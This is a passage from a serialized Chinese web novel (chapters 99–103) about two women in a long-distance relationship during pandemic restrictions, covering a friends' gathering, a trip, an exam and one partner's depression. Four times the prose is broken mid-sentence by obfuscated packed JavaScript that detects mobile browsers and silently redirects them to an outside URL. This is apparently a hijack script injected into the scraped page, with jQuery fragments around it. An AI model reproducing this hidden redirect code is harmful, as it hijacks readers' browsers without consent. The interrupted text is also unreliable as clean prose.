“这次疫情确实是足够折腾,国外的防疫做的还是不行,当然也管不住人,大家不可能像国内这样听政府安排,老老实实在家呆着的。”单智说了不少,比以前更健谈了,是真的成长了很多啊。 看得出来秦离隐隐的关心,单智直白道:“这次回来主要是我爸的事,他一向烟酒不忌,这次重病进了ICU,眼看着快不行了,怎么的我也要回来看一眼,没想到现在还苟着。” “不过回来呆一阵子也行,虽然隔离过程太麻烦了,但国内确实还是比较安全。” 她说起父亲的事像是谈陌生人一样,秦离知道她和家里人关系不好,也没劝。但离得近了,她才发现单智眼底的青紫,不管怎么样,想必最近也折腾得厉害。 还好情绪看着确实还可以。 两人几年未见,依旧聊得很开心。 单智拿出带给秦离的茶叶和谷子——自然是她最喜欢的那部老番,还有一整袋的漫画——都是这次她从家里整理出来的。 “我现在回来的少了,这些留家里也没用,不如给你。” 秦离惊喜万分,为二次元小伙伴的分享而感到开心。 期间,洛依出门去了趟卫生间,秦离本来要和她一起,被拒绝。 “你和朋友继续聊吧,我不至于这也非要你陪我啦。” 秦离就留下了。 洛依走后,单智看了门口远去的身影一眼,这才问道:“这是你现在的对象?” 秦离笑嘻嘻的:“对,她比我小四岁,很可爱对吧。” 单智感慨:“跟你以前喜欢的类型挺不同啊。” 秦离愣了下,才反应过来她说的是黎羽。再想起这个名字,有种好早以前的感觉了,夹杂着年轻时候的记忆碎片。 单智也只是随口一说,接着道:“挺好的,跟你很配,也很在意你。刚才我们说话的时候,她眼神就没离开过你。” 秦离为洛依的依赖和朋友的认可而开心得意。 洛依回来后,秦离也唱了些歌,期间小声跟洛依介绍每个朋友的情况和跟她的关系,洛依都认真听着。 单智心情还不错,大家也就没多唱歌,早早去吃饭了。 杨颖最近刚收获了一笔奖金,大手一挥决定请大家吃饭,这家德国菜餐厅也是她选的。 等上菜的时候,秦离终于逮着机会正式给大家介绍洛依:“这是我女朋友洛依,洛神的洛,依依不舍的依。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370229|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >洛依正在喝水,猝不及防直接呛着,开始猛咳,边咳边小声道:“这么……这么直接的吗?” 秦离忙给她拿纸巾,声音有点小委屈:“可是,我就是想把你正式介绍给我的好友们…… 今天的天气不错,雨后的凉爽夏日,风轻轻吹过,很温和,一切都很美好。 秦离畅想这样的场景已经很久了。 她有了相爱的恋人。她可以在这样的傍晚,向关系最好的朋友们介绍她,接受所有人的祝福。大家都知道她是她的女朋友,她们相爱。 洛依也看不得她情绪低落,忙解释:“我不是不接受,就是太突然了,一下没有防备。” 其实在洛依看来,秦离带她来参加朋友聚会,两人举止亲密,关系暗示已经很明显,不需要专门说了。不过秦离喜欢,这种迎着众人目光的尴尬时刻她也只有扛着了。 秦离笑了,众人都笑着,气氛美好。 菜很快就上来了,摆了一长桌。 这家味道确实很好,猪肘皮脆而不焦、肉质鲜嫩,蘑菇汤鲜美浓郁,烤肠肉量足又多汁,烤鸡、薯条、沙拉、甜品各类都很好吃。 秦离跟洛依坐在靠边的位置,洛依很自然地帮她切肉、调酱,两人边吃边说着悄悄话,不知不觉就形成了一片旁人勿扰的空间感,其她人都默契地不打扰她们。 德国菜自然要配上德国啤酒。秦离偏爱白啤,点了一大杯。她本来不让洛依喝的,架不住洛依用湿漉漉的眼神看着她。 洛依今天话不多,其实隐隐也有些兴奋。她没有搞单独敬酒那一套,但看见秦离和她的朋友们都喝了,不想显得太离群,于是也想喝点。 秦离拗不过她,从自己杯子给她分了三分之一。 啤酒的小麦味很重,度数比普通啤酒要高些。吃饱喝足,众人顺着河边的夜市小摊逛着。 节假日的南城夜市人很多,众人分散着,裴子霜和单智走在最前面,许平平和杨颖走在中间,秦离和洛依落在了最后。 小摊上卖着各种稀奇古怪的东西,挂着浪漫的夜灯,两岸的霓虹灯在河面闪耀着,熠熠生辉。 喝了酒,洛依的脸颊和手臂都泛着红。她反应变慢了些,乖乖被秦离牵着手,呆呆地盯着秦离,眼睛里像是映进了星河。 她太乖了,秦离看得心痒,只恨现在街上人太多,不能亲亲她。 往前走是一座拱桥,秦离靠在桥栏上,看见映在水面的月亮随着波浪轻轻荡漾。 今晚的月亮很圆很亮,满城的灯光都没能遮掩它清冷的光芒。秦离趴在桥栏上,侧头看见月光落在洛依的脸颊上,连小绒毛都看得清楚。 洛依的眼神更迷离了。 好可爱。 远处不知道哪里传来了可可缠绵的歌声。 “如果末日来到 请与我逃亡 没有你的天空 夜色会太长”① 突然,洛依压低帽子凑了过来,在秦离唇上印下一吻,声音也是软绵绵的。 “姐姐,我们偷偷溜走吧。” 100. Chapter 100 一瞬间,秦离的心上炸开了烟花,整个世界只有洛依的声音,和她的存在。 等她回过神时,已经被洛依牵着,逆着人流往前奔跑。四周路人露出惊异的表情,不自觉让出了些位置。 “我们要去哪里啊?” 洛依好像没听见,只是越跑越快,秦离也只好跟紧她的脚步。 路边的店铺带着霓虹灯的色块混杂着,快速往身后逝去,连带着忧郁的女声随风飘走。 “你真的懂唯一的定义 并不简单如呼吸 …… 我真的爱你 句句不轻易 ……”① 两人跑到了河边的一个凸出的小平台。这里被半圆形的花坛和很高的灌木丛遮掩着,难以被发现,没有人。 洛依终于停下,转身抱住秦离,脸埋在她怀里,说话黏糊糊的:“终于可以和你单独呆在一起了。” “到处都是人,我都没法和你好好说话,好讨厌。” 她好像有点醉了,咬词不是很清楚,孩子气得很。 秦离的心都化了,抱紧她,亲了亲她的脸颊,哄着她:“现在这里只有我们两个人了。” “真好。”洛依笑着,语气雀跃。 突然,她眉头又皱起:“我想带你看烟花,我们去放烟花吧。”说着她拉着秦离,又不知道要往哪里去了。 这个时候能去哪里放烟花。 秦离看她醉意越来越明显,生怕她乱跑受伤了,忙拉住人:“我们就在这里吧。” “那烟花……” “这里也能看烟花。” “好哦。” 听见有烟花,洛依终于不说走的事了,乖巧地跟秦离一起坐在河边的长椅上,头靠在她的肩上,嘴里哼着听不出调子的曲子,半睡半醒。 秦离环抱着她,艰难地单手打字。 这个时候、这个地点,要想真的放烟花是不可能了。秦离叫了仙女棒的外卖,只希望洛依能睡得久些,等到东西送达。 期间,秦离给单智她们发了消息,为自己的不告而别抱歉。 都是挚友,大家都很熟悉且习惯秦离的“重色轻友”了,知道她一谈起恋爱就狂冒粉色泡泡,看不见其她人。 单智还发消息打趣她:【你怎么回回跟我出来都提前跑路,行了,跪安吧~[老佛爷挥手.gif]】 秦离一下没想起这个“回回”是怎么回事,外卖到了,她放下手机,也不再纠结。 这点动静将洛依吵醒了。她揉揉眼睛,嘟囔着:“怎么……” 秦离刚接过塑料袋,从里面取出仙女棒,递给她:“来放这个吧。” “什么呀……”洛依似乎还没清醒,眼神有些懵懂。 秦离怕她还执着烟花呢,连忙道:“我想放这个,我们一起吧。” 洛依脑子还迷糊着,听见秦离说想了,接过仙女棒,没有再纠结了。 秦离松了口气。 好像从小学毕业后,秦离就再没玩过仙女棒了,现在倒是重回童年,返璞归真。 一根仙女棒燃得很快,秦离将她那根跟洛依的贴在一起,于是耀动的火光变成了两点。 两人安静地坐着,轻轻晃动着仙女棒打圈,乐此不疲。 洛依盯着那点火光,目光很专注,伸手比了个半弧:“要小心心。” 秦离愣了下才反应过来她说的是比心,笑着伸出手,用大拇指和食指比了个爱心,又随着亮光的燃烧轨迹,变换成食指和中指圈成的心。 她习惯性拍下这一幕,也拍下洛依的侧脸和映在她眼里的光。 所有跟洛依有关的照片都被她放在了单独的私密相册里,每一张都翻看了无数遍。 晚风拂面,洛依突然打了个喷嚏。秦离摸了摸她的手臂,有些凉。 “我们回去了吗?” “好哦。” 洛依乖巧应着,但却没有朝大路的方向去,而是拉着秦离继续顺着河边走,亏得她晕乎乎的还没有找错方向。 这里离酒店并不远,秦离看她脸色还行,便跟她一起慢悠悠走着。 晚上十点多的南城依旧是灯红酒绿,热闹得不行,但那些欢笑和嚎叫都离两人很远。 两人牵着手在河岸静静走着,说着些清醒又不清醒的话。 今晚的月亮很圆很亮,却没有掩盖星星的光芒。有一颗星星离月亮很近,不停闪烁着,像在守护和回应它。 两人到酒店时已经过十二点了,想到明天看熊猫的计划,没有再折腾,早早睡下。 然而计划不如变化快、第二天早上秦离醒来却发现洛依裹着被子缩成一团,皱着眉脸色不佳。 秦离紧张:“怎么了,哪里不舒服吗?” 洛依咬紧牙关,闭着眼不说话。 秦离摸了摸她的手臂和额头,觉得有些发热。可能是昨晚喝了酒又吹风着凉的缘故,秦离猜测着,有些懊恼。 生了病的洛依尤其固执,闷着头不说话也不配合。秦离好不容易才哄着她量了体温又吃了药,还好只是低烧。 折腾了一整个白天,到傍晚时候,洛依总算好些了,神智也清醒些。这个时间,熊猫谷已经关门了。 知道这件事后,洛依懊恼自己身体不争气,秦离安慰她:“没事啦,还是身体最重要哦,下次你来,我们还有机会再去看。” “好呜……”洛依应着,情绪还是很低落。 于是,秦离带洛依去逛了南城最热闹的商业街,那里有很多卖熊猫周边的店,虽然贵了些,但胜在精致可爱。 洛依果然高兴许多,兴致勃勃在里面挑了很多东西,熊猫帽子、毛绒爪爪、Q版公仔、冰箱贴…… 秦离以前觉得这些都是坑外地游客的旅游货,但现在看洛依这么开心,又觉得都值得了。 洛依选了许多要回去带给家人和朋友的礼物,将毛绒爪爪给了秦离。Q版熊猫公仔一人一个,自带别针别在肩上。 秦离当场别上。 夜晚的商业街很拥挤,人来人往都是外地游客,其间有不少情侣——女女、女男、男男——穿着最烂大街的情侣T恤,都笑得很甜蜜。 秦离心中一动,拉着洛依去买了两件印着可爱猫猫和兔子的T恤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370230|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦离那件是蓝色的,然后又为洛依选了件亮眼的紫色。 两人戴着口罩,洛依的声音还有点瓮。她们没去很多地方,就在店里或路边的长椅上做着,拍了很多很多合照,互相贴得很紧。 洛依不是个喜欢拍照的人,但这件事上迁就秦离的意思。 秦离也不是个擅长拍照的人,但与洛依的每一次见面她都很珍惜,想留下许多痕迹。她试了很多拍摄模式,相册了多了很多张不同场景的照片,戴口罩的、不戴口罩的,各种特效,每张上的眼睛都带着笑意。 回酒店的路上,洛依一直戴着熊猫帽子玩。这个是围巾帽子一体的,她捏捏尾部,耳朵就会动。 秦离余光瞥见,觉得她好可爱。 停了车后,秦离拿出手机摄像,喊着:“宝贝,转过来。” 洛依控制着熊猫耳朵一动一动的,转过头来,害羞地看着她,眼神清澈。 回到房间,两人用掉了最后小半包指套,在床上抱在一起说着私密话,享受离别前的最后一晚。 靠坐在床头,秦离又拍了很多照片,有两人头挨着头的,有她亲吻洛依额头的。她喜欢后者,洛依闭着眼睛的样子很乖。 “时间怎么过得这么快啊……” 洛依缩在秦离怀里,不舍得睡觉。 “很快,过两周我再去春城。” 秦离亲了亲她的额头,难过的情绪在心里一点点蔓延。 异地恋就是如此,每次见面都是分离的开始,心里都是默念着倒计时,争分夺秒。 要什么时候才能彻底改变……秦离虽然给出了一年的承诺,但心里也没底。 两人抱在一起,聊到了很晚很晚。 第二天,天光大亮,秦离是被客房电话吵醒的,前台询问是否还需要续房。她眯着眼睛看手机时间,瞬间惊醒。 “乖仔,快起来,要来不及了!” 离起飞时间还有两个小时,而开车过去要五十分钟。 两人都睡得太沉了。 两人赶紧起来,慌忙收拾行李赶去机场。秦离开得很快,路上有些堵,开到出发层时还剩五十分钟。 “快进去吧!”秦离说着,匆匆亲了亲洛依的嘴唇。 洛依也没时间依依不舍了,拉着行李箱往里面冲。 看着洛依身影消失,秦离提着的心才松了些,将车开到机场停车场,检查轮胎。刚才车开得太急,极速碾过大坎,砰的一声巨响,估计是伤到轮胎了,估计回去得花两千大洋了。 她坐在车里发呆了会,接到了洛依电话。 “乖仔,怎么样,进去了吗?” “……差了两分钟,没赶上托运。” 洛依听着情绪不太好,秦离心里一紧,也顾不上车了,问道:“你在哪里,我过来找你。” 洛依说了位置,秦离赶紧跑过去。这会值机区人稀稀落落的,她远远看见洛依孤零零地坐在银色的铁皮椅上。 看见秦离过来,洛依举起手上的Q版熊猫公仔,望着她,声音低落:“这个也跑掉了。” 秦离瞬间觉得心脏好像被什么咬了般酸涩。 101. Chapter 101 秦离接过公仔,安慰洛依:“先留给我吧,我想办法修。” “能修吗?” “肯定没问题的。” 闻言,洛依脸色好了些。 秦离坐在洛依旁边,洛依的头靠在她肩上。她翻着手机软件,和洛依重新选了趟飞机。 “这班可以吗?” “嗯,你别支付,我自己来吧。” 秦离帮洛依买下,但洛依不肯让她垫钱,坚持将钱转过来。 等待的时间过得很快,秦离站在安检门外看着洛依远去。 这是这段关系里,她第一次留在原地看着恋人离去,也是唯一一次。相似的场景勾起过去一些朦胧的负面情绪,她胃里翻滚,忍住想要干呕的冲动。 她挥着手,直到再也看不见洛依的身影。 没事,再过两三周吧,她又可以去春城看洛依了。 然而,接下来两个月,秦离都没找到再离开的机会。 南城爆发了好几起病例,其中一例甚至是秦离她们兄弟单位的。一系列追责和教育工作后,单位领导明显紧张了,收紧了对大家的管束,要求上下班两点一线,最好不要去其他地方,每天上班都要看行程码。 这下,秦离也不好再偷跑了。 “真是烦死了。” 晚上打电话时,秦离跟洛依抱怨,这下还不知道什么时候能见面。 “这也是没有办法的事,少跑动也好,最近春城病例也变多,还是安全最重要。” 也只能如此了。 虽然秦离周围还没人感染,但每天的新闻报道,定期核酸检测,单位不断严化的管制,各种她认为浪费时间的政治学习,还有工作上的很多不顺心事,特别是不能看到洛依,所有这些都加剧了她的烦躁。 甚至还有几次紧急情况,没让大家回家,就在单位宿舍呆了几天。 这样的日子,什么时候才是个头…… 其实与后来相比,现在的加班时间并不算多,但大概是被那种焦躁的氛围影响,秦离老提不起劲做事。加上不能离开南城,有时候甚至不能离开单位,让找工作和考试都很不便,考虑颇多,虽然她还在坚持准备,心中压力与日俱增,平日跟人说话都不耐烦了许多。 虽然每次这么跟家里人说完,她又会懊悔自责。 对洛依的思念与日俱增。无法见面,两人便想了许多可以线上进行的活动。 洛依找到可以同步看电影的软件,两人差不多每过三四天便会选一部一起连麦看,说着最近的事。 洛依将平台ID改成了“秦同学的月亮”,秦离也改成了“洛同学的星星。” 事实上,从秦离换了洛依给她买的手机后,上面就已经多了许多洛依的痕迹。 手机上没有什么不能让人看的内容,秦离让洛依录了指纹,她甘心让恋人侵入她的所有隐私空间。 相应的洛依这边也给她录了,不过除非和对方一起,不然秦离不会私自翻她的手机的。 秦离的手机界面是洛依选的绿色小恐龙系列,社交,购物和查询软件被她分好类,命名成“聊天扯淡的”“要花钱的”“浏览查东西的”,蓝牙名称也改成了“芝士多肉杨梅”,和洛依的“芝士多肉葡萄”相对应。 其实这两年,秦离对于各种物质的东西越来越无所谓了,没什么物欲,除了还好几口吃的外,手上有什么用什么,懒得对比精挑细选,也不会像年轻时那样折腾电子产品的各类设置。 不过她很乐于看见洛依干涉这些东西的选择,被她的习惯同化。 她们最近一直在看哆啦A梦的各种剧场版,一次一部,秦离尤其喜欢异世界冒险系列。 晚上趴在床上和洛依边看动画边聊天,是她最近难得内心平和的时候。 有时候周末,秦离也会想和洛依一起打游戏。 洛依一直就很爱打游戏,而且技术很好。她偏爱pc类单机游戏,对网络游戏和手游都不感兴趣,一直很爱玩模拟人生,之前也给秦离讲了很多自己养的小人故事。 不过秦离这些年只玩手游,洛依便陪她一起玩手机上的fps游戏。 “等等,这车怎么开不动啊,救命,我卡在树上了!” “啊啊啊,对面不是人机吗?快跑快跑!” “等等我怎么在掉血,敌人在哪里,啊——我死了0.0” 耳机里,秦离在狼哭鬼嚎,拼命逃窜,然后看着洛依一打二,又过来扶她起来。 “哎,我太菜了,老拖你后腿……”秦离语气沮丧。 洛依一点也不介意,和秦离一起,做什么都是开心的。而且她总是被秦离的各种神奇操作逗笑,也还挺有意思的。 两人想尽各种办法一起消磨时间,两个月似乎也不是那么难熬。 洛依基本已经确定,明年三月会正式调到羊城。十二月底她就会先过来,慢慢在机关熟悉工作。 秦离报名了羊城的公务员考试,笔试时间就在元旦。她想着刚好可以趁这个机会和洛依见面。 在新的城市,也或许就是以后他们会一直生活的城市。 她们都说好了的。 离元旦还有一周多的时候,秦离跟家里人说了自己要去羊城考试的事,因为说之前,妈妈本来兴致勃勃提出元旦一家人要不要去哪里玩。 秦离只能将本要隐瞒的事说出来。 之前去春城的事,秦离没跟妈爸说实话,基本都是撒谎说去朋友家或者出差。她不好解释自己为什么频繁往那个陌生的城市跑。 想到这几年关于她性向的许多次争执,虽然最后都以她拒绝相亲结束,但总是闹得不愉快,到最后每次有提起相关话题的苗头,秦离心里就一股无名火,语气也变得很恶劣,久而久之妈爸的语气越来越小心翼翼,讲到这类话题时都会观察她的脸色。 一方面,秦离为自己逐渐掌握话语权,在和妈爸的家庭权力争夺里占得上风而开心;一方面,她又为她们表现出来的这种客气小心而觉得有些悲伤。 她清楚地感受到了自己和妈爸的距离。她依旧爱她们,她们也爱她,但她们是不同的个体,想法不同,行为不同,即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370231|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使住在一起每天见面,也能预见以后走向不同道路,愈行愈远的命运。 这是注定了的。 秦离其实一直以来也很清楚这个事实,毕竟孩子本就不会和父母踏上同样的路,只是随着年岁增长这种愈发强烈。 也愈发孤独。 因为之前提过跳槽的事,妈爸对她去羊城的事都没意见。不过妈妈有些失落:“什么时候的飞机啊,要在家里一起跨年吗?” 当时,坐在沙发上的爸爸也看了过来,没说什么,脸上也没什么表情,但秦离就是觉得很难过。 她本来订的是三十一号晚上的飞机,犹豫着改口道:“是一号上午的。” 妈妈笑开了:“太好了,那我们晚上还可以吃顿大餐庆祝下节日。” “好哦。” 和妈爸说好后,秦离将航班改到了早上吧大劫才给洛依发了消息:【我这边行程有点变化,三十一号晚上跟家里人一起,一号早上我坐最早一班飞机过来哦。】 【好。】 洛依的语气有些冷淡,但秦离没发现这点,将航班改到了早上八点出发。 三十一号晚上,秦离和妈爸去吃了顿火锅,三个人和和气气,开开心心的,没有说任何敏感话题,连小狗都被喂了不少火腿肠,心满意足。 一号是个阴雨天,一大早,妈爸坚持要开车送秦离去机场。分别时,妈妈将雨伞递给她,嘱咐她考试加油。 秦离心头怅然。 羊城这边雨下得很大,飞机到的时候,在空中盘旋了很久才落地。 打开手机,秦离迫不及待给洛依发了消息,洛依只说,在出口位置等她。 秦离走得很快,心脏怦怦直跳,出去的瞬间便看见穿着米色夹克的洛依。她依旧戴着鸭舌帽,压低帽檐看不清表情。 “乖仔!” 秦离挥着手,喊得很大声,冲到了她面前。 “嗯,走吧。” 秦离牵着洛依的手,兴奋地说着今天的雨,最近的事,她的思念。 洛依应着,但始终话不太多。 直到两人到了酒店,秦离想要抱抱洛依,亲亲她时,才意识到她情绪不对劲。 洛依在生气。 秦离抱着洛依:“怎么了,宝贝,怎么突然不高兴了?” 洛依别过头,很轻地哼了声,不说话。 秦离又说了很多哄人的话,又猜了很多可能,是不是因为飞机延误等太久了?她哪句话没说对?还是她过来晚了一天? 秦离隐约觉得或许是她改变行程陪家里人这件事,但道歉后洛依情绪却没有好转。 好半天洛依才开口,声音闷闷的:“你都没意识到。” 说着她突然转过头,重重地咬在秦离的肩膀上,痛得她直抽气,才终于道:“我生气的点不是你要陪家里人,而是你根本没有提前跟我商量就决定好了。” “你要陪妈爸,我家里人也想叫我回去过节啊。但你要来,我拒绝了,就是想等你一起跨年。” “然后你就改变主意,把我抛下了。” 102. Chapter 102 秦离恍然,抱住洛依不断道歉:“对不起,我都没想到这些。” 确实,她只想着晚上和早上过来时间差不了多少,没考虑到洛依的心情。 “讨厌你。” 解释完,洛依就不想多说话,只是边说着“讨厌”边咬着秦离,在她身上留下齿痕。 秦离任由她咬着,甚至想着再重点,出血也没关系。 时间久了,洛依终于消气,趴在秦离怀里,又变得很乖。 这时,她从包里拿出新年礼物——是芦丹氏的香水孤儿怨——递给秦离。她本来是想在跨年的时候送给秦离的,结果拖到了现在。 “好巧诶……” 秦离睁大眼,也从包里掏出一瓶要送给洛依的香水,是三宅一生的一款淡香水,外形像圆锥。 两人送的都是觉得符合对方气质的味道。 窗外的雨水打在玻璃上,模糊了外界的视野。 室内温度开始上升,沉郁的木质香和清冷的花香融合在一起,深入着,缠绵着。 这次,她们没有做太久,洛依还挂念着秦离明天的考试。 吃了晚饭,两人走在酒店附近的小巷里找文印店和文具店。羊城的冬天并不太冷,她们牵着手,顺着歪歪扭扭的道路寻找。 店找到了,就在一所小学门口。今天是节假日,学校黑漆漆一片,门口的几家杂货店都开着,秦离买了需要的东西,看见了店里摆着的许多玩具——魔法棒,卡片,小车之类的,看上去和她小时候玩的也差不多。 她和洛依兴致勃勃讨论着现在小孩丰富的玩具和文具,俗套地感慨着她们过得真好啊。 羊城是个生活气息很浓厚的城市,夜晚的街上依旧人来人往,路边的许多大排档还开着。即使是冬天,也有人穿着厚衣服但踩着拖鞋晃荡。 两人买了奶茶,慢慢往酒店走。 路上,洛依说起羊城的房价多少多少,一平方米好几万呢,是南城的好几倍了。她算算自己的存款,大概够买个厕所吧。 秦离感慨自己连这都买不起,以后还得蹭洛依的厕所。 两人哈哈大笑。 晚上,秦离决定最后抱抱佛脚,洛依挂着耳机看视频陪她。 做了会题,秦离就开始唉声叹气。 洛依问她:“怎么了?” 秦离把模拟题递给她看,怀疑人生:“我一个毕业这么多年的文科生了,为什么还要遭受物化生的折磨……” 羊城确实不同于其它城市,除了行测申论那些常规考题外,还加了理科部分。秦离之前和这些题搏斗很久,但还是太难为已经很久不碰理科的她了。 于是大晚上的,两个人趴在床上开始研究物理和生物题,化学秦离选择直接放弃。 什么隐性显性基因,离心力向心力,电路和力的分析,洛依说着“这些很简单啊”,但看秦离愁眉苦脸的样子,憋笑着给她一道道讲解。 两人今晚也折腾到很晚,深受折磨。 第二天早上六点半,秦离在闹钟响的瞬间就醒了,按掉后蹑手蹑脚准备起床。然而动作再轻,洛依还是被吵醒了,迷糊道:“……几点了?” “还早,你继续睡吧。” “你是不是该去考场了?我陪你过去吧……” 洛依眼睛都睁不开了,还是挣扎着坐起来穿衣服。 “没事,我自己去就行,反正也不远。” “要陪你去的……” 洛依说话都像小猫式喵喵,还是硬挺着陪秦离吃了早饭,又把她送进考场,才又打车回酒店,倒头就睡。 秦离心里发软,等洛依走后,才强行收回思绪,做最后冲刺。 羊城公务员考试难度很高,一天笔试下来,秦离虽然自觉还行,但也知道能不能上岸全看同期竞争力,心里也没底。 出来时洛依已经在门口等着了:“结束啦?走,去吃饭吧~” 她没有问考得怎么样,不想给秦离压力。 晚上吃的椰子鸡,洛依选的店,依旧是味道一流。 秦离其实对羊城没什么感觉,主要是不喜欢东南地区这边浓厚的封建祠堂文化和重男轻女思想,加上这里离安城很近,想到小姨和邱姨的事,心上总有一层淡淡的阴霾。不过,羊城的美食是真的好吃。 但如果没有洛依在,羊城不会是她的生活首选。 这些,秦离都没跟洛依说过。毕竟对她来说,其实在哪里生活也都一样。 最理想的还是写文赚到钱了,她能更自由些,或许半年在羊城陪洛依,半年在南城陪妈爸。 当然,这只是一些不切实际的梦想罢了。 剩下的时间里,洛依还有两个安排:去医院和拍证件照。 秦离紧张:“怎么了吗?身体哪里不舒服吗?” “最近老是头痛心悸,很难入睡,每天什么事都不想做,连早上起床洗漱都觉得好累,又有些躯体化反应了。这两天你在身边好一些,但等你走了就……我还是去开点药吧。” 洛依提前挂了心理医生的号。 秦离很担心,但是不敢表现得太明显。 知道洛依得过抑郁症后,秦离就专门去了解过相关知识,也和很多抑郁过的朋友聊过。 专业的事情交给医生,她能做的事情很有限,只能陪着她,还有不说什么“要开心啊”“多做点积极的事情改变下心态呢”这种话,只会给对方压力,让她更难过。 另外,单智告诫过她,一定也要注意自己的心理状态,千万别被拉入泥潭,这样只会两个人都无比痛苦。 所以这时候,秦离表现得也只像是洛依要去看个感冒病的样子,轻描淡写道:“明天上午吗?好啊,那去看看医生怎么说吧。你觉得怎么舒服怎么来,我都一直在的,会一直陪着你。” 庆幸这时候,她在这里。 二号早上,秦离陪着洛依去羊城第一人民医院。里面人山人海,签到后两人就开始等待,喊号、进门、开单子、缴费、测试、开药,从见到医生开始,整个流程很快,医生的语气也很麻木。 秦离不喜欢医院的味道,会让她想起妈妈生病住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370232|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院那段辛苦日子。每个人被病痛折磨的痛苦放在医院好像都是习以为常,没什么大不了。 洛依似乎对医院也没什么期待,忽略中度抑郁的诊断,拿了药就走。 洛依依旧会笑,从外表好像看不出她内心的痛苦到了什么程度。秦离只能暗中观察着,握紧她的手,期盼能给她更多力量。 出了医院,要去拍证件照。单位的证件翻新,要求所有人重新提供红底的正装近照,洛依就想着拍一套正式又好看的,可以一直用。秦离便想着也一起拍了。 店在一个破旧大厦的五楼,化妆师和摄影师技术都还不错,拍出来很自然。 照片打印出来后,洛依先拿过一张秦离的放在手机壳里,于是秦离也取了张她的放进自己的手机壳里,和许久未用的吉他拨片放在一起。 放的时候,洛依动作很慎重,结束后看着秦离,认真道:“你要一直放在里面。” “我会的。”秦离承诺。 从大厦出来才五点多,天色已经开始变暗了。洛依查了路线,发现有公交直达酒店门口,于是两人坐上没什么人的公交,吹着傍晚的风,看着路人匆匆来、匆匆去,她们始终紧紧靠在一起。 羊城的节奏比想象中要慢,如果她们回的不是酒店,而是个小家——无论是大是小,是买的还是租的,怎么都好——那一切就再完美不过了。 晚上的肉/体交融后,秦离抱着洛依,在半梦半醒间听见她在怀里嘀咕了句:“你什么时候……才能过来啊……” 秦离心里一梗,低头才发现洛依闭着眼,说的是梦话。 睡意消失,秦离盯着漆黑的天花板,似乎又看见墙角有蜘蛛在晃荡,挂着一条纤长的蛛丝,好像下一刻就要断裂跌落。 盯了很久,秦离才喃喃着:“很快……” 不知道是说给洛依,还是说给自己听的。 在选工作上,她很慎重地选择自己喜欢的领域,没有为了跳槽到羊城工作就不顾一切。这样也是对彼此都比较好的方式,一切都是她的自主选择,不是为了洛依的牺牲。 这样,以后万一真的发生了什么,两人也不至于互相指责怨恨。 但这一刻,秦离开始怀疑,这个想法是不是只是自己找的借口,为了掩饰自己害怕改变的怯懦内心。 她不知道。 这一次相聚时间依旧很短。 机场离别的时候,洛依将脸埋在秦离怀里,紧紧抱着她,抱了很久很久。分开时,她俏皮笑着:“好了,快走吧,再不走赶不上飞机,真的只有跟我回去住厕所了。” 秦离也笑着:“只要跟你回去,住厕所也可以啊。” 但她最终还是要走的。 过安检的时候,秦离发现胸前的衣服湿了,才意识到洛依哭了。这一刻,她想马上掉头回去,却在看见洛依发来的“一路平安,回去好好休息”后停下了。 她不怕请假,但怕给洛依带来负担,不敢做她允许范围外的任何事。 在洛依的世界里,她失去了自己的意志,寸步难行。 103. Chapter 103 人在成年后,时间便过得很快了。一年又一年,二十岁、三十岁、四十岁,好像都是眨眼之间的事。或许是因为随着年岁增长,每一年在人生中的比例变得越来越低,每一年也变得相同,让人没有期待。 秦离现在还有所期待,期待每一次和洛依的见面。 她的生活分成了两块:能和洛依见面的日子,以及等待和洛依见面的日子。 下一次见面是在春节后,洛依的生日。洛依已经提前决定好,那阵子休年假,在家和妈爸过。于是秦离便也将年假放在那时候,想去找她,给她过生日。 洛依很开心:“到时候就住我家里吧,我妈爸一定超喜欢你!” “好呀!”秦离很期待,做足了刷印象分的准备。 春节期间还发生了些事。 妈妈还是不死心,或者说是在二姨的怂恿下,又想给秦离介绍相亲。 